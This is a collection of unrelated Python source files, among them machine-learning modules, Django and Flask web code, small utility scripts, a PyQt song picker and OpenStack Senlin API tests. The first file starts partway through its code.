DotProductAttention(normalize=True) # Event-specific attention vector # (input_dim) self.vector = Parameter(torch.Tensor(query_dim)) torch.nn.init.normal_(self.vector) # Dropout self.drop_layer = nn.Dropout(p=dropout) def forward(self, X, mask=None, verbose=False): ''' Generate predictions Parameters ---------- X: input with shape (batch_size, max_seq_len, input_dim) mask: input with shape (batch_size, max_seq_len) ''' # Batch size batch_size = X.shape[0] # Batch vector (repeat across first dimension) vector = self.vector.unsqueeze(0).repeat(batch_size, 1) # if self.use_ffnn: Q = self.ffnn(X) else: Q = X # Attention weights # shape: (batch_size, max_seq_len) alphas = self.attention( \ vector = vector, matrix = Q, matrix_mask = mask) # Attended input # shape: (batch_size, encoder_query_dim) output = weighted_sum(X, alphas) # Dropout layer output = self.drop_layer(output) if verbose: logging.info('Attention') logging.info('\tinput_dim: {}'.format(input_dim)) logging.info('\tquery_dim: {}'.format(query_dim)) logging.info('\tactivation: {}'.format(activation)) logging.info('\tdropout: {}'.format(dropout)) logging.info('\tuse_ffnn: {}'.format(use_ffnn)) return (output, alphas)
python
from oscar.apps.offer import models class AlphabetRange(object): name = "Products that start with D" def contains_product(self, product): return product.title.startswith('D') def num_products(self): return None class BasketOwnerCalledBarry(models.Condition): name = "User must be called barry" class Meta: proxy = True def is_satisfied(self, basket): if not basket.owner: return False return basket.owner.first_name.lower() == 'barry' def can_apply_condition(self, product): return False def consume_items(self, basket, affected_lines): return
python
# Generated by Django 2.1.7 on 2019-04-09 14:50 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('home', '0044_auto_20190409_1448'), ] operations = [ migrations.RemoveField( model_name='badgespage', name='genericpage_ptr', ), migrations.AddField( model_name='badgespage', name='resourcepage_ptr', field=models.OneToOneField(auto_created=True, default=None, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='home.ResourcePage'), preserve_default=False, ), ]
python
import requests from bs4 import BeautifulSoup blacklist = { "farms", "csa", "farmers-markets", "restaurants", "food-coops", "u-pick", "farm-stands", "others", "list"} city = '/locations/' wiki = f"https://www.localharvest.org/{city}" page = requests.get(wiki) soup = BeautifulSoup(page.text, "html.parser") for link in soup.find_all('a'): href = link.get('href') if href[:len(city)] == city and href[len(city):] not in blacklist: print(href[len(city):])
python
"""Common functions.""" import re from socket import getaddrinfo, AF_INET, AF_INET6, IPPROTO_TCP from datetime import timedelta def explode_datetime(datetime_str): """Extract days minutes and seconds from datetime (days, minutes, seconds). Example: "1d 3h 2m" returns {"days": "1", "hours": "3", "minutes": "2"} Keyword arguments: datetime_str -- date time in string """ base_regex = ".*([0-9]){pattern}.*" def extract_timeunit(pattern): try: result = int(re.match(base_regex.format(pattern=pattern), datetime_str)[1]) except (ValueError, TypeError): result = 0 return result days = extract_timeunit("d") hours = extract_timeunit("h") minutes = extract_timeunit("m") return timedelta(days=days, hours=hours, minutes=minutes) def resolve_hostname(hostname, address_family): """Convert hostname to IP. Keyword arguments: hostname -- hostname to resolve address_family -- preferred address family for resolution """ af_string_to_attribute = {"ipv4": AF_INET, "ipv6": AF_INET6} try: family = af_string_to_attribute[address_family] except KeyError: raise ValueError("unknown address family") try: ip_addr = getaddrinfo(hostname, None, family=family, proto=IPPROTO_TCP)[0][4][0] return ip_addr except Exception: return
python
from flask import Blueprint, request, render_template, flash, g, session, redirect, url_for, current_app, json from flask.ext.login import login_user, login_required, logout_user from app.users.models import Users from app.users.forms import LoginForm, RegisterForm, UserForm, PasswordForm, ResetPassForm, NewPassForm from app.users.decorators import admin_required from app.services.mail import send_email from app.services.ajax import getnewmessages import datetime mod = Blueprint('users',__name__) @mod.before_app_request def load_session_data(): if 'user_id' in session.keys(): g.user = Users.objects(id=session['user_id']).get() session.inbox = getnewmessages(g.user.id) @mod.before_request def load_menu_data(): session.activemenu = 'Membri' @mod.route('/login', methods=['GET','POST']) def login(): form = LoginForm() if form.validate_on_submit(): try: user = Users.objects(email=form.email.data).get() if user.verify_password(form.password.data): login_user(user,form.remember_me.data) return redirect(request.args.get('next') or url_for('wall.list')) else: raise Exception('Not authorised') except Exception as err: flash('Invalid username or password!', category='alert-danger') return render_template('users/login.html', pagetitle='Login',form=form,login=True) @mod.route('/logout', methods=['GET']) def logout(): logout_user() return redirect('/login') @mod.route('/inregistrare', methods=['GET','POST']) def registeruser(): """ Build the view used to add new accounts """ form = RegisterForm() if form.validate_on_submit(): try: user = Users(username=form.username.data,email=form.email.data,specialties=form.specialties.data.split(','),interests=form.interests.data.split(',')) user.password = form.password.data user.save() token = user.generate_confirmation_token() send_email(user.email,'Confirmare email','users/email/confirm',user=user,token=token) flash('Contul a fost adaugat! Va rugam confirmati adresa de email!', category='alert-success') except Exception as err: flash('Contul nu poate fi creat!', category='alert-warning') return redirect(url_for('users.login')) return render_template('users/login.html',pagetitle='Inregistrare',form=form,login=False) @mod.route('/reseteazaparola/', methods=['GET','POST']) def resetlink(): form = ResetPassForm() if form.validate_on_submit(): try: user = Users.objects(email=form.email.data).get() token = user.generate_reset_token() send_email(user.email,'Resetare parola','/users/email/passwdreset',user=user,token=token) flash('Parola a fost resetata! Va rugam urmati instructiunile primite pe email!',category='alert-success') return redirect(request.referrer) except Exception as err: flash('Adresa de email nu exista!',category='alert-danger') return redirect(request.referrer) return render_template('users/login.html',pagetitle='Resetare parola',form=form,login=False) @mod.route('/reseteaza/<email>/<token>', methods=['GET','POST']) def resetpassword(email,token): form = NewPassForm() if form.validate_on_submit(): try: user = Users.objects(email=email).get() if user.id == user.resetpass(token): user.password = form.password.data user.save() flash('Parola schimbata!',category='alert-success') return redirect(url_for('users.login')) else: raise Exception except: flash('Token invalid!',category='alert-danger') return redirect(url_for('users.resetlink')) return render_template('users/login.html',pagetitle='Resetare parola',form=form,login=False) @mod.route('/confirmaemail/<token>') @login_required def confirmemail(token): if g.user.mail_confirmed: return redirect(request.args.get('next') or url_for('users.edituser')) if g.user.confirm(token): flash('Adresa de email confirmata!',category='alert-success') else: flash('Token expirat sau invalid!',category='alert-danger') return redirect(request.args.get('next') or url_for('users.edituser')) @mod.route('/lista') @login_required def list(): """ Build the view used to list all existing accounts """ results = [x for x in Users.objects()] return render_template('users/list.html',results=results) @mod.route('/adauga', methods=['GET','POST']) @admin_required @login_required def adduser(): """ Build the view used to add new accounts """ form = RegisterForm() if form.validate_on_submit(): try: user = Users(username=form.username.data,email=form.email.data,specialties=form.specialties.data.split(','),interests=form.interests.data.split(',')) user.password = form.password.data user.save() token = user.generate_confirmation_token() send_email(user.email,'Confirmare email','users/email/confirm',user=user,token=token) flash('Contul a fost adaugat!', category='alert-success') except Exception as err: flash('Utilizatorul are deja cont!', category='alert-warning') return redirect(url_for('users.list')) return render_template('users/add.html',pagetitle='Adauga utilizator',form=form) @mod.route('/editeaza/', methods=['GET','POST']) @login_required def edituser(): """ Build the view used to edit existing accounts """ user = Users.objects(id=unicode(g.user.id)).get() form = UserForm() if form.validate_on_submit(): user.username = form.username.data if form.avatar.data: image_data = request.FILES[form.avatar.name].read() user.avatar = image_data user.email = form.email.data user.specialties = form.specialties.data.split(',') user.interests = form.interests.data.split(',') user.save() flash('Cont modificat!',category='alert-success') return redirect(request.referrer) form.username.data = user.username form.email.data = user.email form.avatar.data = '' form.specialties.data = ','.join(user.specialties) form.interests.data = ','.join(user.interests) return render_template('users/add.html',pagetitle='Editeaza utilizator',form=form) @mod.route('/editeazaparola/', methods=['GET','POST']) @login_required def editpswduser(): """ Build the view used to edit a password for an existing account """ user = Users.objects(id=unicode(g.user.id)).get() form = PasswordForm() if form.validate_on_submit() and user.verify_password(form.oldpasswd.data): user.password = form.password.data user.save() flash('Parola modificata!', category='alert-success') return redirect(request.referrer) return render_template('users/add.html',pagetitle='Editeaza parola',form=form) @mod.route('/detalii/<id>') @login_required def detailuser(id): user = Users.objects(id=id).get() results = [(Users.username.verbose_name,user.username),(Users.specialties.verbose_name,','.join(user.specialties)),(Users.interests.verbose_name,','.join(user.interests))] return render_template('users/details.html',pagetitle='Detalii utilizator',results=results) @mod.route('/ajaxedit/<action>/<id>', methods=['GET']) @admin_required @login_required def ajaxedit(action,id): user = Users.objects(id=id).get() if action == 'delete' and id != unicode(g.user.id): user.delete() if action == 'mkadmin' and id != unicode(g.user.id): user.permissions = 'full' user.save() if action == 'mkuser' and id != unicode(g.user.id): user.permissions = 'user' user.save() if action == 'deactivate' and id != unicode(g.user.id): user.status = False user.save() if action == 'activate' and id != unicode(g.user.id): user.status = True user.save() return redirect(request.referrer)
python
import argparse import os import zipfile def make_rel_archive(a_args): archive = zipfile.ZipFile("(Part 1) Engine Fixes.zip".format(a_args.name), "w", zipfile.ZIP_DEFLATED) def do_write(a_path): archive.write(a_path, "SKSE/Plugins/{}".format(os.path.basename(a_path))) def write_rootfile(a_extension): do_write("{}/{}{}".format(a_args.src_dir, a_args.name, a_extension)) do_write(a_args.dll) write_rootfile("_preload.txt") write_rootfile("_SNCT.toml") write_rootfile(".toml") def make_dbg_archive(a_args): archive = zipfile.ZipFile("{}_pdb.zip".format(a_args.name), "w", zipfile.ZIP_DEFLATED) archive.write(a_args.pdb, os.path.basename(a_args.pdb)) def parse_arguments(): parser = argparse.ArgumentParser(description="archive build artifacts for distribution") parser.add_argument("--dll", type=str, help="the full dll path", required=True) parser.add_argument("--name", type=str, help="the project name", required=True) parser.add_argument("--out-dir", type=str, help="the output directory", required=True) parser.add_argument("--pdb", type=str, help="the full pdb path", required=True) parser.add_argument("--src-dir", type=str, help="the project root source directory", required=True) return parser.parse_args() def main(): args = parse_arguments() os.makedirs(args.out_dir, exist_ok=True) os.chdir(args.out_dir) make_rel_archive(args) make_dbg_archive(args) if __name__ == "__main__": main()
python
#!/usr/bin/env python ## Create Microsoft Test Server DRM keys, parse LAURL array ## python.exe RegisterDRM_MicrosoftTest.py > keys_microsofttest.json ## Aki Nieminen/Sofia Digital ## 2017-11-30/Aki: changed hexdecode to python3 ## 2017-08-21/Aki: initial release import sys, os, time, datetime, json, base64 from optparse import OptionParser def registerPlayready(drmType, auth, kid, enckey): now = datetime.datetime.utcnow() + datetime.timedelta(minutes=120) url="https://test.playready.microsoft.com/service/rightsmanager.asmx" params = "cfg=(kid:header,sl:2000,persist:false,firstexp:%s,contentkey:%s)" % ( 60*1, ##expiration(seconds) on first play ##now.strftime('%Y%m%d%H%M%S'), ##expiration:20170921000000 #base64.b64encode(enckey.decode('hex')) base64.b64encode(bytearray.fromhex(enckey)).decode("ISO-8859-1") ) return url + "?" + params def register(drmType, auth, kid, enckey): if kid.startswith("0x"): kid = kid[2:] if enckey.startswith("0x"): enckey = enckey[2:] obj={} obj["kid"]=kid obj["key"]=enckey ## real production system should keep KEY value secret !! obj["playready"]=registerPlayready(drmType, auth, kid, enckey) obj["b64kid"]=base64.b64encode(bytearray.fromhex(kid)).decode("ISO-8859-1") obj["b64key"]=base64.b64encode(bytearray.fromhex(enckey)).decode("ISO-8859-1") return obj; ############################## ############################## class DRM_TYPE: ## enum TEST=0 PROD=1 def main(): ## parse command line arguments parser = OptionParser(add_help_option=False) parser.add_option("-h", "--help", action="help") parser.add_option("--authtest", type="string", dest="authtest", help="Authentication key for test service (not used)") (options, args) = parser.parse_args() ## Register KID and ENCKEY values to license service now = datetime.datetime.utcnow() obj={} obj["created"]=now.strftime('%Y-%m-%dT%H:%M:%SZ') obj["Test1234"]=register(DRM_TYPE.TEST, options.authtest, "0x43215678123412341234123412341234", "0x12341234123412341234123412341234") obj["Test1235"]=register(DRM_TYPE.TEST, options.authtest, "43215678123412341234123412341235", "12341234123412341234123412341235") obj["Test1236"]=register(DRM_TYPE.TEST, options.authtest, "43215678123412341234123412341236", "12341234123412341234123412341236") obj["Test1237"]=register(DRM_TYPE.TEST, options.authtest, "43215678123412341234123412341237", "12341234123412341234123412341237") obj["Test1238"]=register(DRM_TYPE.TEST, options.authtest, "43215678123412341234123412341238", "12341234123412341234123412341238") obj["Test1239"]=register(DRM_TYPE.TEST, options.authtest, "43215678123412341234123412341239", "12341234123412341234123412341239") obj["Test148D"]=register(DRM_TYPE.TEST, options.authtest, "5A461E692ABF5534A30FFC45BFD7148D", "307F7B3F5579BEF53894A6D946762267") obj = json.dumps(obj, indent=2, sort_keys=True, ensure_ascii=False) print (obj) if __name__ == "__main__": main()
python
from .face_utils import align_crop_face_landmarks, compute_increased_bbox, get_valid_bboxes, paste_face_back from .misc import img2tensor, load_file_from_url, scandir __all__ = [ 'align_crop_face_landmarks', 'compute_increased_bbox', 'get_valid_bboxes', 'load_file_from_url', 'paste_face_back', 'img2tensor', 'scandir' ]
python
import numpy as np def AdjHE_estimator(A,data, npc=0, std=False): # remove identifiers form y for linear algebra y = data.Residual # select PC columns PC_cols = [ col.startswith("PC") for col in data ] PCs = data.iloc[:, PC_cols] # If standardized AdjHE is chosen if (std == True) : # Standardize the y std_y = (y-np.mean(y))/np.std(y) trA = np.sum(np.diag(A)) trA2 = np.sum(np.multiply(A,A)) n = A.shape[1] yay = np.dot(std_y.T, np.dot(A,std_y)).flatten() yty = np.dot(std_y.T, std_y).flatten() if (npc==0): denominator = trA2 - 2*trA + n nominator = n - trA + yay - yty else: pc = PCs s = np.diag(np.dot(pc.T,np.dot(A,pc))) b = s - 1 c = np.dot(std_y.T, pc)**2 - 1 denominator = trA2 - 2*trA + n - np.sum(b**2) nominator = n - trA + yay - yty - np.sum(b*c) h2 = nominator/denominator h2 = h2[0] var_ge = 2/denominator # tau = n/nmarkers # b1 = (1-np.sqrt(tau))**2 # b2 = (1+np.sqrt(tau))**2 # r = b2-b1 # a1 = h2-1 # a2 = 1-2*h2 # trace_A2_MP = 0.5*(r+2*b1)*n # trace_A3_MP = (5/16*r**2+b1*b2)*n # trace_A4_MP = (7*r**3+30*b1*r**2+48*b1**2*r+32*b1**3)/32*n # if (npc==0): # # var_MP = 2/denominator # var_ge = 2/denominator # else: # trace_A_MP = trA - np.sum(s) # a = denominator # # var_MP=2/a**2*(h2**2*trace_A4_MP+(n-npc)*a1**2+(a2**2+2*h2*a1)*trace_A2_MP+2*a1*a2*trace_A_MP+2*h2*a2*trace_A3_MP) # var_ge = 2/a else : # else we solve the unstandardized version trA2 = np.sum(np.multiply(A,A)) trA = np.sum(np.diag(A)) n = A.shape[1] yay = np.dot(y.T, np.dot(A,y)).flatten() yty = np.dot(y.T, y).flatten() tn = np.sum(y)**2/n # all 1s PC if (npc==0): sigg = n*yay - trA*yty sigg = sigg-yay+tn*trA # add 1's sige = trA2*yty - trA*yay sige = sige-tn*trA2 # add 1's denominator = trA2 - 2*trA + n else: # remove identifiers for linear algebra pc = PCs pcA = np.dot(pc.T,A) pcApc = np.dot(pcA,pc) s = np.diag(pcApc) #pciApci b = s-1 t = np.dot(y.transpose(),pc)**2 #ypcipciy a11 = trA2 - np.sum(s**2) a12 = trA - np.sum(s) b1 = yay - np.sum(s*t) b2 = yty - np.sum(t) sigg = (n-npc)*b1 - a12*b2 sigg = sigg.flatten() - yay.flatten() + tn * a12 # add 1's sige = a11*b2 - a12*b1 sige = sige.flatten()-tn*a11 # add 1's denominator = trA2 - 2*trA + n - np.sum(b**2) h2 = sigg/(sigg+sige) var_ge = 2/denominator return h2,np.sqrt(var_ge)
python
import os, sys, hashlib, argparse BLOCK_SIZE = 65536 def calculateFileHash(path): hasher = hashlib.md5() with open(path, 'rb') as targetFile: buffer = targetFile.read(BLOCK_SIZE) while len(buffer) > 0: hasher.update(buffer) buffer = targetFile.read(BLOCK_SIZE) return hasher.hexdigest() def isFileNonEmpty(path): return os.path.getsize(path) > 0 def getDuplicatesInFolderByHash(folder): filesDict = {} for dirName, subDirs, fileList in os.walk(folder): print('Scanning folder ' + dirName + " - By hash") for filename in fileList: path = os.path.join(dirName, filename) if(isFileNonEmpty(path)): fileHash = calculateFileHash(path) if fileHash in filesDict: filesDict[fileHash].append(path) else: filesDict[fileHash] = [path] else: print("Skipping empty file " + path) return filesDict def getDuplicatesInFolderByFilename(folder): filesDict = {} for dirName, subDirs, fileList in os.walk(folder): print('Scanning folder ' + dirName + " - By filename") for filename in fileList: path = os.path.join(dirName, filename) if(isFileNonEmpty(path)): if filename in filesDict: filesDict[filename].append(path) else: filesDict[filename] = [path] else: print("Skipping empty file " + path) return filesDict def processResult(filesDict): values = filesDict.values() foundDuplicates = False for fileOccurs in values: if(len(fileOccurs) > 1): fileName= os.path.basename(fileOccurs[0]) foundDuplicates = True print("\nFound duplicate " + fileName + " at:") for f in fileOccurs: print(f) if foundDuplicates == False: print("No duplicates found") def parseArguments(): parser = argparse.ArgumentParser(description='Duplicates Finder Parameters') parser.add_argument('-V', '--version', action='version', version='0.0.1') parser.add_argument("-d", "--dir", help="Supplied directory to navigate", type=str, required = True) parser.add_argument("-f", "--byfilename", help="Compare files by filename instead of hash", dest='byfilename', action='store_true') parser.set_defaults(byfilename=False) return parser.parse_args() def findDuplicates(args): if args.dir: folderPath = args.dir if os.path.exists(folderPath): if args.byfilename: filesDict = getDuplicatesInFolderByFilename(folderPath) else: filesDict = getDuplicatesInFolderByHash(folderPath) processResult(filesDict) else: print("The supplied directory does not exist") else: print("Please supply target directory using --dir") if __name__ == '__main__': args = parseArguments() findDuplicates(args)
python
import os import torch import numpy as np from sentence_transformers import SentenceTransformer from experiment.qa.evaluation import BasicQAEvaluation class QAEvaluationSBert(BasicQAEvaluation): def __init__(self, config, config_global, logger): super(QAEvaluationSBert, self).__init__(config, config_global, logger) os.environ['TORCH_HOME'] = config["sbert"]["cache_dir"] self.model = SentenceTransformer(config["sbert"]["model"]) self.batch_size = config["batchsize"] def start(self, model, data, valid_only=False): return super(QAEvaluationSBert, self).start(model, data, valid_only) def score(self, qa_pairs, model, data, tasks): query_examples = [q.text for (q, _, _) in qa_pairs] doc_examples = [a.text for (_, a, _) in qa_pairs] repr_queries = torch.from_numpy(np.stack(self.model.encode(query_examples, batch_size=self.batch_size, show_progress_bar=False))) repr_docs = torch.from_numpy(np.stack(self.model.encode(doc_examples, batch_size=self.batch_size, show_progress_bar=False))) scores = torch.cosine_similarity(repr_queries, repr_docs) return scores.cpu().numpy(), np.zeros(1) component = QAEvaluationSBert
python
"""Test Home Assistant ulid util methods.""" import uuid import homeassistant.util.ulid as ulid_util async def test_ulid_util_uuid_hex(): """Verify we can generate a ulid.""" assert len(ulid_util.ulid_hex()) == 32 assert uuid.UUID(ulid_util.ulid_hex())
python
from flask import Flask, render_template, request, Response from Models import db, SensorData, CustomSensor from flask.json import jsonify from Arduino import serial_port from threading import Thread from Helpers import search_sensor from Constants import DataTypes import os.path db_path = os.path.join('sqlite://', os.path.dirname(os.path.abspath(__file__)), 'database.sqlite') app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////home/eukeni/PycharmProjects/Hydroponics/database.sqlite' db.init_app(app) @app.route('/') def index(): return render_template('index.html') @app.route('/api/query', methods=['GET']) def query(): headers = dict() cs = CustomSensor.query.all() sensors = [name for name in dir(SensorData) if name.startswith('sensor_')] for sensor in sensors: row = search_sensor(sensor, cs) if row is None: headers[sensor] = sensor else: headers[sensor] = row.name data = [x.to_json() for x in SensorData.query.all()] return jsonify(data=data, headers=headers) @app.route('/api/get_custom_sensor', methods=['GET']) def get_custom_sensors(): return_list = list() data = CustomSensor.query.all() sensors = [name for name in dir(SensorData) if name.startswith('sensor_')] for sensor in sensors: row = search_sensor(sensor, data) if row is None: return_list.append(dict(name='', formula='', data_type=0, sensor_field=sensor)) else: return_list.append(dict(name=row.name, data_type=row.data_type, formula=row.formula, sensor_field=row.sensor_field)) return jsonify(sensors=return_list) @app.route('/api/get_available_sensors', methods=['GET']) def get_available_sensors(): data = [name for name in dir(SensorData) if name.startswith('sensor_')] return jsonify(sensors=data) @app.route('/api/save_custom_sensors', methods=['POST']) def save_custom_sensors(): data = request.get_json() sensors = CustomSensor.query.all() for sensor in data: row = search_sensor(sensor['sensor_field'], sensors) if row is None: cs = CustomSensor(None, None, sensor['name'], sensor['sensor_field'], sensor['formula'], sensor['data_type']) db.session.add(cs) else: row.name = sensor['name'] row.formula = sensor['formula'] row.data_type = sensor['data_type'] db.session.commit() return Response(status=200) @app.route('/api/get_data_types', methods=['GET']) def get_data_types(): return jsonify(types=[dict(name=key.title(), value=DataTypes.__dict__[key]) for key in DataTypes.__dict__ if not key.startswith('__')]) if __name__ == '__main__': t = Thread(target=serial_port, args=(2, )) t.daemon = False # t.start() app.run()
python
#basic program of finding the SECOND LARGEST VALUE among the given list of value #finding the RUNNER UP in other words #used map(),split(),sorted() #the sorted()function here creates a new set returns a sorted list of the specified iterable object. if __name__ == '__main__': #getting the number of scores you are going to enter n = int(input("Enter number of scores : ")) #using map() and split() function to get the no.of.scores arr = map(int,input("\nEnter the scores : ").split()) #now we are sorting the whole entered scores in ascending manner and then used[-2] which indicates that in the set take the next to last value(which is the second largest) print ("The RUNNER UP IS:",(sorted(set(arr))[-2]))
python
from collections import namedtuple ButtonOptions = namedtuple('ButtonOptions', ['activebackground', 'activeforeground', 'anchor', 'background', 'bitmap', 'borderwidth', 'disabledforeground', 'font', 'foreground', 'highlightbackground', 'highlightcolor', 'highlightthickness', 'image', 'justify', 'padx', 'pady', 'relief', 'repeatdelay', 'repeatinterval', 'takefocus', 'textvariable', 'underline', 'wraplength', 'compound', 'default', 'height', 'cursor', 'overrelief', 'state', 'width']) ButtonOptions.__new__.__defaults__ = (None,) * len(ButtonOptions._fields) ScaleOptions = namedtuple('ScaleOptions', ['activebackground', 'background', 'bigincrement', 'bd', 'bg', 'borderwidth', 'cursor', 'digits', 'fg', 'font', 'foreground', 'highlightbackground', 'highlightcolor', 'highlightthickness', 'length', 'orient', 'relief', 'repeatdelay', 'repeatinterval', 'resolution', 'showvalue', 'sliderlength', 'sliderrelief', 'state', 'takefocus', 'tickinterval', 'troughcolor', 'variable', 'width']) ScaleOptions.__new__.__defaults__ = (None,) * len(ScaleOptions._fields)
python
"""Constants for the Thruk Livestatus sensor integration.""" # This is the internal name of the integration, it should also match the directory # name for the integration. DOMAIN = "thruk_livestatus" HOST_COUNT = "Host count" NUM_SERVICES_CRIT = "Services CRITICAL" NUM_SERVICES_WARN = "Services WARNING" NUM_SERVICES_OK = "Services OK" NUM_SERVICES_UNKNOWN = "Services UNKNOWN" HOSTS_UP = "Hosts UP" HOSTS_DOWN = "Hosts DOWN" HOSTS_UNKNOWN = "Hosts UNKNOWN"
python
import decoder inp_fn = raw_input("Enter the file name to decode:") sp_fn_a = inp_fn.split('.') sp_fn_b = sp_fn_a[0].split('_') inp_fs = open(inp_fn,"r") out_fs = open("decoded_"+sp_fn_b[1]+'.'+sp_fn_b[2],"wb+") enc_ln = int(inp_fs.readline()) st_to_dec = inp_fs.readline() while st_to_dec!='': out_fs.write(decoder.decode(enc_ln,int(st_to_dec))) st_to_dec = inp_fs.readline() out_fs.close() inp_fs.close()
python
"""Plants tests"""
python
import time, sys, random from pygame import mixer from PyQt5.QtWidgets import QDialog, QApplication from PyQt5 import QtWidgets, QtCore from src.ui.controlPenalUI import Ui_controlPenal from src.songScreen import picWindow class controlPenal(QDialog): def __init__(self): super().__init__() self.ui = Ui_controlPenal() self.ui.setupUi(self) self.ui.loadRound8.clicked.connect(self.setRound8) self.ui.loadRound4.clicked.connect(self.setRound4) self.ui.loadRoundFinal.clicked.connect(self.setRoundFinal) self.ui.startPick.clicked.connect(self.startPick) self.ui.clearTxt.clicked.connect(self.clearTxt) self.ui.removeFromList.clicked.connect(self.removeFromList) self.picW=picWindow() self.picW.show() self.pic=0 self.list=[] self.show() def closeEvent(self, event): self.__del__() def __del__(self): self.picW.close() def setRound8(self): self.list=[] f=open("round8.txt","r") for line in f.readlines(): self.list.append(line.rstrip()) self.setTable() def setRound4(self): self.list=[] f=open("round4.txt","r") for line in f.readlines(): self.list.append(line.rstrip()) self.setTable() def setRoundFinal(self): self.list=[] f=open("roundfinal.txt","r") for line in f.readlines(): self.list.append(line.rstrip()) self.setTable() def setTable(self): self.ui.songList.setRowCount(0) for row_number,content in enumerate(self.list): self.ui.songList.insertRow(row_number) self.ui.songList.setItem(row_number, 0, QtWidgets.QTableWidgetItem(str(content))) def startPick(self): mixer.init() mixer.music.load("./song/opener.mp3") mixer.music.play() for i in range(0,62,2): self.callRandomPic() self.picW.updatePic(self.list[self.pic]) QApplication.processEvents() print(self.list[self.pic]) time.sleep(0.01*i) sound=mixer.Sound("./song/"+self.list[self.pic]+".wav") time.sleep(2) mixer.music.stop() self.ui.result.setText(self.list[self.pic]) QApplication.processEvents() sound.play() f=open("result.txt","w") f.write(self.list[self.pic]) f.close() time.sleep(sound.get_length()) def callRandomPic(self): rand=random.randint(0,len(self.list)-1) while rand==self.pic: rand=random.randint(0,len(self.list)-1) self.pic=rand def clearTxt(self): self.picW.clearPic() self.ui.result.setText("") f=open("result.txt","w") f.write("") f.close() def removeFromList(self): pos=self.ui.songList.currentRow() del self.list[pos] self.setTable()
python
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import copy from tempest.lib import decorators from tempest.lib import exceptions from senlin_tempest_plugin.common import constants from senlin_tempest_plugin.tests.api import base class TestPolicyCreateNegativeBadRequest(base.BaseSenlinAPITest): @decorators.attr(type=['negative']) @decorators.idempotent_id('3fea4aa9-6dee-4202-8611-cf2d008a4d42') def test_policy_create_policy_data_not_specified(self): params = { 'policy': { 'name': 'test-policy' } } # Verify badrequest exception(400) is raised. ex = self.assertRaises(exceptions.BadRequest, self.client.create_obj, 'policies', params) message = ex.resp_body['error']['message'] self.assertEqual("'spec' is a required property", str(message)) @decorators.attr(type=['negative']) @decorators.idempotent_id('4a4d6c83-f0fa-4c9e-914b-d89478903d95') def test_policy_create_name_not_specified(self): params = { 'policy': { 'spec': constants.spec_scaling_policy } } # Verify badrequest exception(400) is raised. ex = self.assertRaises(exceptions.BadRequest, self.client.create_obj, 'policies', params) message = ex.resp_body['error']['message'] self.assertEqual("'name' is a required property", str(message)) @decorators.attr(type=['negative']) @decorators.idempotent_id('b898de6c-996a-4bc3-bdef-6490e62fb3b0') def test_policy_create_invalid_param(self): params = { 'policy': { 'name': 'bar', 'spec': {}, 'boo': 'foo' } } # Verify badrequest exception(400) is raised. ex = self.assertRaises(exceptions.BadRequest, self.client.create_obj, 'policies', params) message = ex.resp_body['error']['message'] self.assertIn("Additional properties are not allowed", str(message)) @decorators.attr(type=['negative']) @decorators.idempotent_id('1c0ed145-bca6-4e53-b222-44fc6978eb1f') def test_policy_create_policy_type_incorrect(self): spec = copy.deepcopy(constants.spec_scaling_policy) spec['type'] = 'senlin.policy.bogus' params = { 'policy': { 'name': 'test-policy', 'spec': spec } } # Verify badrequest exception(404) is raised. ex = self.assertRaises(exceptions.NotFound, self.client.create_obj, 'policies', params) message = ex.resp_body['error']['message'] self.assertEqual( "The policy_type 'senlin.policy.bogus-1.0' could " "not be found.", str(message)) @decorators.attr(type=['negative']) @decorators.idempotent_id('f55dc7eb-9863-49c2-b001-368d2057c53c') def test_policy_create_spec_validation_failed(self): spec = copy.deepcopy(constants.spec_scaling_policy) spec['properties']['bogus'] = 'foo' params = { 'policy': { 'name': 'test-policy', 'spec': spec } } # Verify badrequest exception(400) is raised. ex = self.assertRaises(exceptions.ServerFault, self.client.create_obj, 'policies', params) message = ex.resp_body['error']['message'] self.assertEqual("Unrecognizable spec item 'bogus'", str(message))
python
import sys import argparse import json import logging import os from TrainFace import TrainFace from InferFace import InferFace if __name__ == "__main__": # Read the input information by the user on the command line parser = argparse.ArgumentParser() parser.add_argument("--config_file", help="config path of model", default=r"E:\3业余资料\10人脸性别分类\code\config\face.json") parser.add_argument("--phase", default="train") args = parser.parse_args() model_file = args.config_file with open(model_file, "r", encoding="UTF-8") as fr: config = json.load(fr) if args.phase == "train": config["phase"] = "train" if args.phase == "infer": config["phase"] = "infer" log_path = config["global"]["log_path"] task = config["global"]["task"] if log_path: if not os.path.exists(os.path.dirname(log_path)): os.makedirs(os.path.dirname(log_path)) logger = logging.getLogger(task) logger.setLevel(logging.INFO) formatter = logging.Formatter("%(asctime)s - %(name)s - %(levelname)s - %(message)s") file_handler = logging.FileHandler(log_path, encoding="UTF-8") file_handler.setLevel(logging.INFO) file_handler.setFormatter(formatter) logger.addHandler(file_handler) if args.phase == "train": config["phase"] = "train" TrainFace(config) elif args.phase == "infer": config["phase"] = "infer" InferFace(config)
python
class Solution(object): def defangIPaddr(self, address): """ :type address: str :rtype: str """ return address.replace(".", "[.]") if __name__ == '__main__': address = "0.0.0.0" obj = Solution() obj.defangIPaddr(address)
python
